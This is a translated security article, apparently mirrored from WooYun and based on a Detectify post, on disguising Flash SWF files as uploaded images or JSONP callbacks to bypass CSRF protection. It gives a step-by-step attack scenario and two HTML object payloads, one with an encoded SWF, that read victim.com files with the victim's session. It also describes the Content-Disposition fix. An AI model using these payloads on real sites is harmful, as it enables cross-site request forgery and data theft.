上傳檔案的陷阱

wyzsk發表於2020-08-19
作者: /fd · 2014/05/22 12:02

0x00 背景


現在很多網站都允許使用者上傳檔案,但他們都沒意識到讓使用者(或攻擊者)上傳檔案(甚至合法檔案)的陷阱。

什麼是合法檔案?

通常,判斷檔案是否合法會透過兩個引數:檔案字尾(File extension)及Content-Type。

例如,網站會確保字尾是jpg及Content-Type是image/jpeg以防止惡意檔案,對不?

但一些像Flash的外掛程式並不關心字尾及Content-type。假如一個檔案被標籤嵌入,它會像Flash一樣執行,只要它的內容像個Flash檔案。

但等等,Flash不是應該只在同域下被嵌入才會執行?亦對亦錯。假如一個Flash檔案(或以影像包裝的Flash檔案)在victim.com上傳然後於attacker.com下嵌入,它只能在attacker.com下執行JavaScript。但是,假如該Flash檔案發出請求,那麼它可以讀取到victim.com下的檔案。

這說明了若不檢查檔案內容而直接上傳,攻擊者可以繞過網站的CSRF防禦。

0x01 攻擊


基於上面我們可以想像一種攻擊場境:

1. 攻擊者建立一個惡意Flash(SWF)檔案  
2. 攻擊者更改檔案副檔名為JPG  
3. 攻擊者上傳檔案到victim.com  
4. 攻擊者在attacker.com以標籤及application/x-shockwave-flash型別嵌入該檔案  
5. 受害者瀏覽attacker.com,並以SWF格式載入該檔案  
6. 攻擊者現在可以透過該SWF並以受害者的session向victim.com發出及接收任意請求  
7. 攻擊者向victim.com發出請求後取得受害者的CSRF token  

payload會像這樣

<object style="height:1px;width:1px;" data="http://victim.com/user/2292/profilepicture.jpg" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=read&u=http://victim.com/secret_file.txt"></object>   

0x02 修補


好訊息是有一個相對簡單的方法防止該Flash的行為。 Flash若看到檔案返回下面的Content-Disposition header就不會執行:

Content-Disposition: attachment; filename="image.jpg"  

所以若允許上傳或輸出任意資料,網站應該總是檢查內容是否合法而且儘可能返回Content-Disposition header

0x03 其他用途


實際上,該攻擊不只限制於檔案上傳。該攻擊只要求攻擊者能夠控制域名下的資料(不論Content-Type),因此還有其他實施攻擊的方法。

其中一種是利用JSONP介面。通常,攻擊者可以透過更改callback引數控制JSONP介面的輸出。然而,攻擊者可以把整個Flash檔案的內容作為callback引數,而達到與上載檔案無異的攻擊。 Payload會像這樣:

<object style="height:1px;width:1px;" data="http://victim.com/user/jsonp?callback=CWS%07%0E000x%9C%3D%8D1N%C3%40%10E%DF%AE%8D%BDI%08%29%D3%40%1D%A0%A2%05%09%11%89HiP%22%05D%8BF%8E%0BG%26%1B%D9%8E%117%A0%A2%DC%82%8A%1Br%04X%3B%21S%8C%FE%CC%9B%F9%FF%AA%CB7Jq%AF%7F%ED%F2%2E%F8%01%3E%9E%18p%C9c%9Al%8B%ACzG%F2%DC%BEM%EC%ABdkj%1E%AC%2C%9F%A5%28%B1%EB%89T%C2Jj%29%93%22%DBT7%24%9C%8FH%CBD6%29%A3%0Bx%29%AC%AD%D8%92%FB%1F%5C%07C%AC%7C%80Q%A7Nc%F4b%E8%FA%98%20b%5F%26%1C%9F5%20h%F1%D1g%0F%14%C1%0A%5Ds%8D%8B0Q%A8L%3C%9B6%D4L%BD%5F%A8w%7E%9D%5B%17%F3%2F%5B%DCm%7B%EF%CB%EF%E6%8D%3An%2D%FB%B3%C3%DD%2E%E3d1d%EC%C7%3F6%CD0%09" type="application/x-shockwave-flash" allowscriptaccess="always" flashvars="c=alert&u=http://victim.com/secret_file.txt"></object>

from: http://blog.detectify.com/post/86298380233/the-pitfalls-of-allowing-file-uploads-on-your-website

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章